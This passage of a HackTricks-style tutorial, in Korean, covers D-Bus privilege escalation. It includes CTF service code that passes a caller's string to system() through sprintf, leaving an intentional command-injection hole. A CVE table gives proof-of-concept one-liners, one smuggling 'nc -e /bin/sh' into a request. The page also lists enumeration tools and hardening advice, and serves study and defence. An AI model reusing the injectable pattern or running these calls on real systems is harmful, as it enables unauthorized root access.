fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}

char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";

int command_len = strlen(command);
int host_len = strlen(host);

char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}

sprintf(command_buffer, command, host);

/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();

if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}


/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};


int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
*      argc            (int)             Number of arguments, not required
*      argv[]          (char**)          Argument array, not required
*
* Returns:
*      Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
*      as long as the user keeps it alive.
*/


/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);

sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;

/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}

/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}

/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;

/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}

finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);

return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}

μžλ™ν™”λœ μ—΄κ±° 도ꡬ (2023-2025)

busctl/gdbusλ₯Ό μ‚¬μš©ν•˜μ—¬ λŒ€κ·œλͺ¨ D-Bus 곡격 ν‘œλ©΄μ„ μˆ˜λ™μœΌλ‘œ μ—΄κ±°ν•˜λŠ” 것은 λΉ λ₯΄κ²Œ κ³ ν†΅μŠ€λŸ¬μ›Œμ§‘λ‹ˆλ‹€. 졜근 λͺ‡ λ…„ λ™μ•ˆ μΆœμ‹œλœ 두 개의 μž‘μ€ FOSS μœ ν‹Έλ¦¬ν‹°λŠ” λ ˆλ“œνŒ€ λ˜λŠ” CTF μ°Έμ—¬ 쀑에 μž‘μ—…μ„ λΉ λ₯΄κ²Œ ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

dbusmap (β€œD-Bus용 Nmap”)

  • μ €μž: @taviso – https://github.com/taviso/dbusmap
  • C둜 μž‘μ„±λ¨; λͺ¨λ“  객체 경둜λ₯Ό νƒμƒ‰ν•˜κ³  Introspect XML을 가져와 μ†Œμœ  PID/UID에 λ§€ν•‘ν•˜λŠ” 단일 정적 λ°”μ΄λ„ˆλ¦¬ (<50 kB).
  • μœ μš©ν•œ ν”Œλž˜κ·Έ:
# *system* λ²„μŠ€μ˜ λͺ¨λ“  μ„œλΉ„μŠ€λ₯Ό λ‚˜μ—΄ν•˜κ³  호좜 κ°€λŠ₯ν•œ λͺ¨λ“  λ©”μ„œλ“œλ₯Ό λ€ν”„ν•©λ‹ˆλ‹€
sudo dbus-map --dump-methods

# Polkit ν”„λ‘¬ν”„νŠΈ 없이 μ ‘κ·Όν•  수 μžˆλŠ” λ©”μ„œλ“œ/속성을 적극적으둜 νƒμƒ‰ν•©λ‹ˆλ‹€
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
  • 이 λ„κ΅¬λŠ” λ³΄ν˜Έλ˜μ§€ μ•Šμ€ 잘 μ•Œλ €μ§„ 이름을 !둜 ν‘œμ‹œν•˜μ—¬, μ‚¬μš©μžκ°€ μ†Œμœ ν•  수 μžˆλŠ” μ„œλΉ„μŠ€(인수) λ˜λŠ” λΉ„νŠΉκΆŒ μ…Έμ—μ„œ μ ‘κ·Όν•  수 μžˆλŠ” λ©”μ„œλ“œ ν˜ΈμΆœμ„ μ¦‰μ‹œ λ“œλŸ¬λƒ…λ‹ˆλ‹€.

uptux.py

  • μ €μž: @initstring – https://github.com/initstring/uptux
  • μ‹œμŠ€ν…œd μœ λ‹› 및 μ§€λ‚˜μΉ˜κ²Œ κ΄€λŒ€ν•œ D-Bus μ •μ±… 파일(예: send_destination="*"μ—μ„œ μ“°κΈ° κ°€λŠ₯ν•œ 경둜λ₯Ό μ°ΎλŠ” 파이썬 μ „μš© 슀크립트.
  • λΉ λ₯Έ μ‚¬μš©λ²•:
python3 uptux.py -n          # λͺ¨λ“  검사λ₯Ό μ‹€ν–‰ν•˜μ§€λ§Œ 둜그 νŒŒμΌμ„ μž‘μ„±ν•˜μ§€ μ•ŠμŒ
python3 uptux.py -d          # μžμ„Έν•œ 디버그 좜λ ₯을 ν™œμ„±ν™”
  • D-Bus λͺ¨λ“ˆμ€ μ•„λž˜ 디렉토리λ₯Ό κ²€μƒ‰ν•˜κ³  일반 μ‚¬μš©μžκ°€ μŠ€ν‘Έν•‘ν•˜κ±°λ‚˜ νƒˆμ·¨ν•  수 μžˆλŠ” μ„œλΉ„μŠ€λ₯Ό κ°•μ‘° ν‘œμ‹œν•©λ‹ˆλ‹€:
  • /etc/dbus-1/system.d/ 및 /usr/share/dbus-1/system.d/
  • /etc/dbus-1/system-local.d/ (벀더 μ˜€λ²„λΌμ΄λ“œ)

μ£Όλͺ©ν•  λ§Œν•œ D-Bus κΆŒν•œ μƒμŠΉ 버그 (2024-2025)

μ΅œκ·Όμ— λ°œν‘œλœ CVEλ₯Ό 주의 깊게 μ‚΄νŽ΄λ³΄λ©΄ μ‚¬μš©μž μ •μ˜ μ½”λ“œμ—μ„œ μœ μ‚¬ν•œ λΆˆμ•ˆμ „ν•œ νŒ¨ν„΄μ„ λ°œκ²¬ν•˜λŠ” 데 도움이 λ©λ‹ˆλ‹€. λ‹€μŒμ˜ 높은 영ν–₯λ ₯을 κ°€μ§„ 둜컬 EoP λ¬Έμ œλŠ” λͺ¨λ‘ μ‹œμŠ€ν…œ λ²„μŠ€μ—μ„œ 인증/κΆŒν•œ λΆ€μ—¬κ°€ λˆ„λ½λœ λ°μ„œ λ°œμƒν•©λ‹ˆλ‹€:

연도CVEꡬ성 μš”μ†Œκ·Όλ³Έ μ›μΈμ›λΌμ΄λ„ˆ PoC
2024CVE-2024-45752logiops ≀ 0.3.4 (Logitech HID 데λͺ¬)logid μ‹œμŠ€ν…œ μ„œλΉ„μŠ€κ°€ λͺ¨λ“  μ‚¬μš©μžκ°€ μž₯치 ν”„λ‘œν•„μ„ λ³€κ²½ν•˜κ³  맀크둜 λ¬Έμžμ—΄μ„ 톡해 μž„μ˜μ˜ μ…Έ λͺ…령을 μ£Όμž…ν•  수 μžˆλŠ” μ œν•œ μ—†λŠ” org.freedesktop.Logiopsd μΈν„°νŽ˜μ΄μŠ€λ₯Ό λ…ΈμΆœν•©λ‹ˆλ‹€.gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"
2025CVE-2025-23222Deepin dde-api-proxy ≀ 1.0.18루트둜 μ‹€ν–‰λ˜λŠ” ν”„λ‘μ‹œκ°€ 호좜자 UID/Polkit μ»¨ν…μŠ€νŠΈλ₯Ό μ „λ‹¬ν•˜μ§€ μ•Šκ³  λ ˆκ±°μ‹œ λ²„μŠ€ 이름을 λ°±μ—”λ“œ μ„œλΉ„μŠ€λ‘œ μ „λ‹¬ν•˜λ―€λ‘œ λͺ¨λ“  μ „λ‹¬λœ μš”μ²­μ΄ UID 0으둜 μ²˜λ¦¬λ©λ‹ˆλ‹€.gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1
2025CVE-2025-3931Red Hat Insights yggdrasil ≀ 0.4.6곡개 Dispatch λ©”μ„œλ“œμ— ACL이 λΆ€μ‘±ν•˜μ—¬ β†’ κ³΅κ²©μžκ°€ νŒ¨ν‚€μ§€ κ΄€λ¦¬μž μž‘μ—…μžμ—κ²Œ μž„μ˜μ˜ RPM을 μ„€μΉ˜ν•˜λ„λ‘ μ§€μ‹œν•  수 μžˆμŠ΅λ‹ˆλ‹€.dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'

μ£Όλͺ©ν•  νŒ¨ν„΄:

  1. μ„œλΉ„μŠ€κ°€ μ‹œμŠ€ν…œ λ²„μŠ€μ—μ„œ 루트둜 μ‹€ν–‰λ©λ‹ˆλ‹€.
  2. PolicyKit 검사가 μ—†μŒ(λ˜λŠ” ν”„λ‘μ‹œλ‘œ 우회됨).
  3. λ©”μ„œλ“œκ°€ ꢁ극적으둜 system()/νŒ¨ν‚€μ§€ μ„€μΉ˜/μž₯치 μž¬κ΅¬μ„±μœΌλ‘œ 이어져 β†’ μ½”λ“œ μ‹€ν–‰.

dbusmap --enable-probes λ˜λŠ” μˆ˜λ™ busctl call을 μ‚¬μš©ν•˜μ—¬ νŒ¨μΉ˜κ°€ μ μ ˆν•œ polkit_authority_check_authorization() λ‘œμ§μ„ λ°±ν¬νŠΈν•˜λŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€.


κ°•ν™” 및 탐지 λΉ λ₯Έ 승리

  • 세계 μ“°κΈ° κ°€λŠ₯ λ˜λŠ” 전솑/μˆ˜μ‹  μ—΄λ € μžˆλŠ” 정책을 κ²€μƒ‰ν•©λ‹ˆλ‹€:
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
  • μœ„ν—˜ν•œ λ©”μ„œλ“œμ— Polkit을 μš”κ΅¬ν•©λ‹ˆλ‹€ – 심지어 루트 ν”„λ‘μ‹œλ„ μžμ‹ μ˜ PID λŒ€μ‹  호좜자 PIDλ₯Ό polkit_authority_check_authorization_sync()에 전달해야 ν•©λ‹ˆλ‹€.
  • μž₯κΈ° μ‹€ν–‰ λ„μš°λ―Έμ—μ„œ κΆŒν•œμ„ λ–¨μ–΄λœ¨λ¦½λ‹ˆλ‹€(λ²„μŠ€μ— μ—°κ²°ν•œ ν›„ sd_pid_get_owner_uid()λ₯Ό μ‚¬μš©ν•˜μ—¬ λ„€μž„μŠ€νŽ˜μ΄μŠ€λ₯Ό μ „ν™˜).
  • μ„œλΉ„μŠ€λ₯Ό μ œκ±°ν•  수 μ—†λ‹€λ©΄, 적어도 λ²”μœ„λ₯Ό μ „μš© μœ λ‹‰μŠ€ 그룹으둜 μ œν•œν•˜κ³  XML μ •μ±…μ—μ„œ 접근을 μ œν•œν•©λ‹ˆλ‹€.
  • λΈ”λ£¨νŒ€: busctl capture --output=/var/log/dbus_$(date +%F).pcap둜 μ‹œμŠ€ν…œ λ²„μŠ€μ˜ 지속적인 캑처λ₯Ό ν™œμ„±ν™”ν•˜κ³  Wireshark에 가져와 이상 탐지λ₯Ό μˆ˜ν–‰ν•©λ‹ˆλ‹€.

μ°Έκ³  λ¬Έν—Œ

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°